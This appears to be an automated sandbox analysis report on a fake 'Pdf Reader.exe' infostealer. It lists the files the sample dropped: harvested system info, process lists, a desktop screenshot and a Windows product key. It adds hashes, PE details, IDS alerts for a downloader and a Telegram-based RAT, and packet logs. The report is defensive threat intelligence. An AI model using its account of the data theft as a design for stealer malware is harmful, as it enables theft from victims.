Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\YPSIACHYXW.png

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700014595314478
Encrypted:	false
SSDEEP:	24:ZUpld6DFp3zvtLC4Tmg3c0x2ngfNqdsD1OqVMyUXHt/Sv0vyjsbsV:upqDL3hO4TRc4Eq8tKvYgV
MD5:	960373CA97DEDBA8576ECF40D0D1E39D
SHA1:	E89C5AC4CF0B920C373CFA7D365C40C1009A14F6
SHA-256:	501DC438F0E931ABED9FDE388BA5A8FAE8445117823118C413F54793F0E10FD7
SHA-512:	93B34F6BC4DCEA41103E31272F2DC9CF07CC100F934CECC8F4317525DA65128DBBAD75B23CE40D46EE1DC11D10147250CAE33F01220F5624E2406B2596B726EB
Malicious:	false
Preview:	YPSIACHYXWDOAOALJCJYYKHKMGYIZBYLJSULATZCLAKGTHKIZZZPZMBAJFNQKRWGKHDEEYLGCRMYXVOJCXPRDOFVVXDFSZNRLGLUNBQSCSVJXKHLUFNOKRCASVQNUJDYWNWTNGJYBIKCERFIRWTZVUUNKNCMUGKTMSRIVLFQTZDVSHZTYRURNPZRSHICVPPIWUNOSYRCNVXHOFETKZDTIEIOQHCHWHDXEDXBZFSWIFFLXTXQXUBJCTQSDGVAMQKTUHJAAEDEECWFOEDCAALGNKEQRGJPVEEVJPTSROUZFPHKPUHLAYRHVULFESXXGKSAIYLAVSWMISSCMRGVQGXFGFYXBQBRZHILLZQUJRQJHUVBFDBPCNUAKOXURUUUKQNRUEAXAAXWIVATBILRXVUBDTFNWUQLPZELETXDQPCWJXRRAQILAVVZFAMGUWUYYORCQNUYLSNLTNXIAWJVDTPNCZPHSWYWWTBBJECMEGHRCATJANBKSCMLVOBOTXPKGMTOJISGOTUUOFVJPAGNMHFSAFRHQUHMYURLAJVNZPEMNMUDZAUMRZHQJBWVCUSQAENWUTRFBUFUWIPJYVLYDUIBJSTTFGSFBHTKIXJNVJUYJGSHZHMDONOHBMLQDTHGTPLYVKGUXWHEYTHTWOOMQOGUFQGRWUYBVWILTRHBAIJHZKXNAQYAIZBPYWWZSBDWNPRWGFXHNPFFMHKCCERIWCTACKIVXLZBNOTBYDOPJBYTZWNSXYXVYPHAGUHBXKPPAFNZGWEKOBPXTCLBIOEIVWLELPXJAINCDBEUOIFMNFWSRDONSGUCNGDZLIAFVNUQXZMTVJLIACGEXXESAGRKCPJNTKZHMMCTJZCLWNTNEJFUCODLVBCJHINWJYBLRXSKLVKNYGPLXGKEHMXSDKIAPHRGHBOCHQEJPMJEKRMRTLJNYNRHDPPQKJHXGYJMDUOESMBVJOBKJWUUSSZEQAGHANSYFBHIZFXSLENBLJWCHGEM

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\System\Apps.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1446
Entropy (8bit):	5.411196380954895
Encrypted:	false
SSDEEP:	24:OKkf6lgXJ/lf3lgd/5f6lgnQPUCddMfoHlTl5mfFKlTlNg8OfplTlmfNJeikpqPO:lkf6lgXBlf3lgN5f6lgQPxdSfmlZwfFR
MD5:	864FB818C6199A52B6CEE11420A6DC77
SHA1:	85B659562E8476FC47C2F09AC66516810C3CB009
SHA-256:	C0D40FFC8559D5C4CB4939AC6E8D55E3DBC6B21052EE9839A79BEDD592E30D59
SHA-512:	3825AA7EC58A039564C9D2F74597482690D1EB573E31E5D5590D2C86A31F5FDD84B2BE4159EEE5A0C3438275F7106CA594D5F5FD82796BBB8EF1ABDBC8868BC1
Malicious:	false
Preview:	.APP: Office 16 Click-to-Run Extensibility Component..VERSION: 16.0.16827.20130..INSTALL DATE: 25/07/2025 03:43:24..IDENTIFYING NUMBER: {90160000-008C-0000-0000-0000000FF1CE}...APP: Office 16 Click-to-Run Extensibility Component 64-bit Registration..VERSION: 16.0.16827.20056..INSTALL DATE: 25/07/2025 03:43:24..IDENTIFYING NUMBER: {90160000-00DD-0000-1000-0000000FF1CE}...APP: Office 16 Click-to-Run Licensing Component..VERSION: 16.0.16827.20130..INSTALL DATE: 25/07/2025 03:43:24..IDENTIFYING NUMBER: {90160000-008F-0000-1000-0000000FF1CE}...APP: Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532..VERSION: 14.36.32532..INSTALL DATE: 25/07/2025 03:43:23..IDENTIFYING NUMBER: {0025DD72-A959-45B5-A0A3-7EFEB15A8050}...APP: Java 8 Update 381..VERSION: 8.0.3810.9..INSTALL DATE: 25/07/2025 03:43:23..IDENTIFYING NUMBER: {77924AE4-039E-4CA4-87B4-2F32180381F0}...APP: Adobe Acrobat (64-bit)..VERSION: 23.006.20320..INSTALL DATE: 25/07/2025 03:43:23..IDENTIFYING NUMBER: {AC76BA86-1033-1033-

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\System\Desktop_20241203_060320.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	83691
Entropy (8bit):	7.841439359253798
Encrypted:	false
SSDEEP:	1536:CwjF/xd+V0kEoc/IpEheootMoFPRCMdJtaTCeTzxKczsIFvO+I/U7qdoYR1:Hh/xcikEocHhe/yMdnEzxKcU/1dow1
MD5:	9D04D18ECCB3A7BEFFBC98C8BDFADC51
SHA1:	C7C231E931A0D062619191B1BD1C09590FB81E62
SHA-256:	B55DE74B02D7882B60CB20BF9C6E3D836E44DFDDF23D75CA337779C59D347E5F
SHA-512:	77A3B55367D451F77AE073E07C1ED197DC9CD92FA1BFAD8B6B788E1A4EFF5DABB5BC9884684D1C80894397A9DD23C9E11EDB81D7F3F8FC1E91C00026C60AEE31
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.*bi.F.xJ.5KC"...N...m.g....Uf.....?.2......Q.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..<.t..A...#'..N>.._.u.......^y.[......1..].+..B....%?........r.....{f`.'(Xw...&e.......Q...8X.V..._.^.(..(...&(....~....[.....).....+.F"8x{I.t.p....pj.g.Ez..+..........O.Wz.......\..4;?...O.........QA..Z.DqCr.Y...L....V..\A.

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\System\Info.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	491
Entropy (8bit):	5.388083303554273
Encrypted:	false
SSDEEP:	12:RFNbwPRbVkb210Txa2YmxTbPjtszJxsWRUXyR:3VwP/kbPxaRmFbPjtQJxsWmS
MD5:	0FBA58B7EA62AA5E6F13E93991E2B707
SHA1:	B1C68562F95704A3E7C8C28626E282EF20F37C2D
SHA-256:	232ABC75CD7D8DA8E67A3E6AB2C27FBE9FA82F04BBF14C0199B629C63CC2D0FB
SHA-512:	7FEF65F5F038F9914739F433301E4C6630906BE93F6CEA6F81D6CAF533A7579B40C0B10565E913590DFB32986BA55916089B8A2903079E0471E16E39F7596333
Malicious:	false
Preview:	.[IP].External IP: 8.46.123.228.Internal IP: No network adapters with an IPv4 address in the system!.Gateway IP: 192.168.2.1..[Machine].Username: user.Compname: 562258.System: Microsoft Windows 10 Pro (64 Bit).CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz.GPU: CSS15.RAM: 4095MB.DATE: 2024-12-03 4:28:04 am.SCREEN: 1280x1024.BATTERY: NoSystemBattery (100%).WEBCAMS COUNT: 0..[Virtualization].VirtualMachine: False.SandBoxie: False.Emulator: False.Processes: False.Antivirus: Windows Defender.

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	22705
Entropy (8bit):	5.654725409524556
Encrypted:	false
SSDEEP:	96:o6oFgLZ2PXAsn/C231m/o6qgWBtRUEfw8Gi2Azquj/v6PoF0YnV1XAUbEEw+yD65:/oFgLzq7UEYGmzPWfIwbiWIt9qW1N2
MD5:	786D2F24FF37C08306967504EAE67065
SHA1:	48D560FA75CA87EA6DE5D4E6592CF27343D0519E
SHA-256:	0D704CA6671073335943D9C41A2831E4BB80186DE273B64DC4294C25D59BD6F2
SHA-512:	0FCAEFE4390E490E363327A8398B7A18845F31761894DB2ABB9DACD420A678501007C0917C6269842CF47997A34F8F9BE39017620D5D2B742CBA15AE7E3591A6
Malicious:	false
Preview:	NAME: GrGgdbmJmxRhssdggNePNVjiC..PID: 6464..EXE: C:\Program Files (x86)\jieatXkZpVfyAOtzpsovrlsRhxpbqkZZAbsPUmhxCHUwYCguzfnRRTIsMhIRt\GrGgdbmJmxRhssdggNePNVjiC.exe..NAME: RuntimeBroker..PID: 5600..EXE: C:\Windows\System32\RuntimeBroker.exe..NAME: RuntimeBroker..PID: 3444..EXE: C:\Windows\System32\RuntimeBroker.exe..NAME: explorer..PID: 2580..EXE: C:\Windows\Explorer.EXE..NAME: GrGgdbmJmxRhssdggNePNVjiC..PID: 6488..EXE: C:\Program Files (x86)\jieatXkZpVfyAOtzpsovrlsRhxpbqkZZAbsPUmhxCHUwYCguzfnRRTIsMhIRt\GrGgdbmJmxRhssdggNePNVjiC.exe..NAME: GrGgdbmJmxRhssdggNePNVjiC..PID: 5592..EXE: C:\Program Files (x86)\jieatXkZpVfyAOtzpsovrlsRhxpbqkZZAbsPUmhxCHUwYCguzfnRRTIsMhIRt\GrGgdbmJmxRhssdggNePNVjiC.exe..NAME: GrGgdbmJmxRhssdggNePNVjiC..PID: 6884..EXE: C:\Program Files (x86)\jieatXkZpVfyAOtzpsovrlsRhxpbqkZZAbsPUmhxCHUwYCguzfnRRTIsMhIRt\GrGgdbmJmxRhssdggNePNVjiC.exe..NAME: fontdrvhost..PID: 784..EXE: C:\Windows\system32\fontdrvhost.exe..NAME: GrGgdbmJmxRhssdggNePNVjiC..PID: 6724..EXE: C:\Program

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	31
Entropy (8bit):	3.692279682039657
Encrypted:	false
SSDEEP:	3:TrYUBPtmENhEu:YaPtmEIu
MD5:	B928C676CE0384C05A14468A6C318297
SHA1:	10D680D1C66268146FA40E62C03A04C3E96290F8
SHA-256:	1051BA9095EBF259A8461160622646DF2FDC7B256DE5EBDC3534854DDFF75F5A
SHA-512:	5452817FCD93027AAC908C32C849E90011C53C12705E62129AC43E9140628095E328C53ACF9FCA2721BE8800CBA8C03E76471A5BB136C425C78C3C21AD313BB7
Malicious:	false
Preview:	DPJN2-KY78R-YRX8H-XJX4P-XJR46-K

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19254
Entropy (8bit):	5.596335088838181
Encrypted:	false
SSDEEP:	96:I7C7GX+U6pArRF5iqeMvyzqjHDTzYrnVhOkNlVQEhi/+muY5V4o5B9SCJblQTGV0:ZmUHv
MD5:	03C287F9FC312AAED2F0996435C31DFC
SHA1:	5119117C6B1E98584D6EFC0AA873DC05A3645E81
SHA-256:	092548853F711913B4D8E31B9FD8DC2477E52282B64E313CEB67E93DE94A230A
SHA-512:	459A094C6208FD50377DECE1D56E1CC4AB0E9C310BAC8929EEFD8259D783A98097C85D5D2876EF55752ACB1D1D7E21B3B0AE9C379F95D4B7A7D64B6D1B14388B
Malicious:	false
Preview:	NAME: GrGgdbmJmxRhssdggNePNVjiC..TITLE: New Tab - Google Chrome..PID: 6464..EXE: C:\Program Files (x86)\jieatXkZpVfyAOtzpsovrlsRhxpbqkZZAbsPUmhxCHUwYCguzfnRRTIsMhIRt\GrGgdbmJmxRhssdggNePNVjiC.exe..NAME: GrGgdbmJmxRhssdggNePNVjiC..TITLE: New Tab - Google Chrome..PID: 6488..EXE: C:\Program Files (x86)\jieatXkZpVfyAOtzpsovrlsRhxpbqkZZAbsPUmhxCHUwYCguzfnRRTIsMhIRt\GrGgdbmJmxRhssdggNePNVjiC.exe..NAME: GrGgdbmJmxRhssdggNePNVjiC..TITLE: New Tab - Google Chrome..PID: 5592..EXE: C:\Program Files (x86)\jieatXkZpVfyAOtzpsovrlsRhxpbqkZZAbsPUmhxCHUwYCguzfnRRTIsMhIRt\GrGgdbmJmxRhssdggNePNVjiC.exe..NAME: GrGgdbmJmxRhssdggNePNVjiC..TITLE: New Tab - Google Chrome..PID: 6884..EXE: C:\Program Files (x86)\jieatXkZpVfyAOtzpsovrlsRhxpbqkZZAbsPUmhxCHUwYCguzfnRRTIsMhIRt\GrGgdbmJmxRhssdggNePNVjiC.exe..NAME: GrGgdbmJmxRhssdggNePNVjiC..TITLE: New Tab - Google Chrome..PID: 6724..EXE: C:\Program Files (x86)\jieatXkZpVfyAOtzpsovrlsRhxpbqkZZAbsPUmhxCHUwYCguzfnRRTIsMhIRt\GrGgdbmJmxRhssdggNePNVjiC.exe..NAME: GrGgdbmJm

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\msgid.dat

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.9219280948873623
Encrypted:	false
SSDEEP:	3:IUmn:IUmn
MD5:	0AAF61723A352BA7EA1BE4502DF85765
SHA1:	5D8E763ACBC7A7866DBA10930F7F6FBEAACED9A1
SHA-256:	2EC983E61D51FFD47ECB9BA997F5B3A5890ECCCDDDD5E53570CF64E72E80F507
SHA-512:	A6107366349C10779617BD075B149BE36187DC13D5AE128689F20C8A47B61B64B3503E21F3252E0A9D8578C45A6D15DAA49D4708AA2018B26E9257403ADFA563
Malicious:	false
Preview:	14192

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.950594578134381
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Pdf Reader.exe
File size:	3'957'248 bytes
MD5:	e91657014183219fd6d6535baae97b7c
SHA1:	c7b3cf4cd1f6f52ac52b427ad25509dc6c990289
SHA256:	0461541abae499104970d012841db7bb7bb02ea1d40d5c295a061b38e6fb7231
SHA512:	69cb9171402023578727a4f7183c24ac63896409a9fefcaad432bde41060bd4c99345865b5b88705297fa91c777f6f3e094d6b522863e628a9ef815730f9c36a
SSDEEP:	98304:FkqXf0FlL9nrYAWAZi6sfLxkuahjCOeX9YG9see5GnRyCAm0makxH13:FkSIlLtzWAXAkuujCPX9YG9he5GnQCAo
TLSH:	B006014BAAE58AB7F63A0BB56CD091293E9DEE378416C41D253421E80F2BF151C507FB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Y............"...0..&9..:.......E9.. ........@.. ........................<...........`................................

File Icon


Icon Hash:	045a5a32e9dc3609

Static PE Info

General

Entrypoint:	0x79458e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x85EB590F [Wed Mar 13 13:18:07 2041 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x394534	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x396000	0x337d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3ca000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x394518	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x392594	0x392600	0b84a0e1dcba6a0e52949808f9ec751d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x396000	0x337d8	0x33800	4ef7d3f66b37f0d0aa4374d471e0e6a7	False	0.1079054156553398	data	5.463406154795318	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3ca000	0xc	0x200	9f0052e001a36b49c6b275e5a0aaec21	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x3960c8	0x3334c	Device independent bitmap graphic, 225 x 450 x 32, image size 202500	0.10594068847144084
RT_GROUP_ICON	0x3c9424	0x14	data	1.2
RT_VERSION	0x3c9448	0x38c	PGP symmetric key encrypted data - Plaintext or unencrypted data	0.44493392070484583

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T10:28:16.198204+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49738	104.16.184.241	80	TCP
2024-12-03T10:28:25.820507+0100	2029323	ET MALWARE Possible Generic RAT over Telegram API	1	192.168.2.4	49746	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 10:28:06.268081903 CET	49730	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.268126011 CET	443	49730	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.268214941 CET	49730	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.268554926 CET	49732	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.268608093 CET	443	49732	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.268657923 CET	49732	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.270414114 CET	49731	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.270453930 CET	443	49731	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.270514965 CET	49731	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.271758080 CET	49734	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.271775961 CET	443	49734	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.271847963 CET	49734	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.272031069 CET	49735	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.272079945 CET	443	49735	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.272116899 CET	49733	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.272125006 CET	443	49733	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.272159100 CET	49735	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.272188902 CET	49733	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.372414112 CET	49734	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.372435093 CET	443	49734	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.372493029 CET	49732	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.372504950 CET	443	49732	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.372889996 CET	49735	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.372929096 CET	443	49735	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.373071909 CET	49733	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.373085022 CET	443	49733	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.373760939 CET	49731	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.373773098 CET	49730	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:06.373780012 CET	443	49731	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:06.373811007 CET	443	49730	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.593687057 CET	443	49732	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.593899012 CET	49732	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.598259926 CET	49732	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.598268986 CET	443	49732	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.598548889 CET	443	49732	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.628298998 CET	443	49735	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.628369093 CET	49735	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.628845930 CET	443	49731	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.628921986 CET	49731	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.643768072 CET	49732	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.655653954 CET	49731	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.655669928 CET	443	49731	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.655989885 CET	443	49731	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.676390886 CET	443	49733	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.676454067 CET	49733	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.676664114 CET	443	49730	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.676726103 CET	49730	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.677402020 CET	443	49734	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.677534103 CET	49734	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.690005064 CET	49733	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.690023899 CET	443	49733	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.690299034 CET	443	49733	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.696304083 CET	49730	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.696322918 CET	443	49730	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.696625948 CET	443	49730	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.697705030 CET	49734	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.697719097 CET	443	49734	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.698187113 CET	443	49734	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.702548027 CET	49735	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.702562094 CET	443	49735	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.702815056 CET	443	49735	185.199.110.133	192.168.2.4
Dec 3, 2024 10:28:07.706397057 CET	49731	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.726135969 CET	49730	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.726182938 CET	49735	443	192.168.2.4	185.199.110.133
Dec 3, 2024 10:28:07.726237059 CET	49733	443	192.168.2.4	185.199.110.133
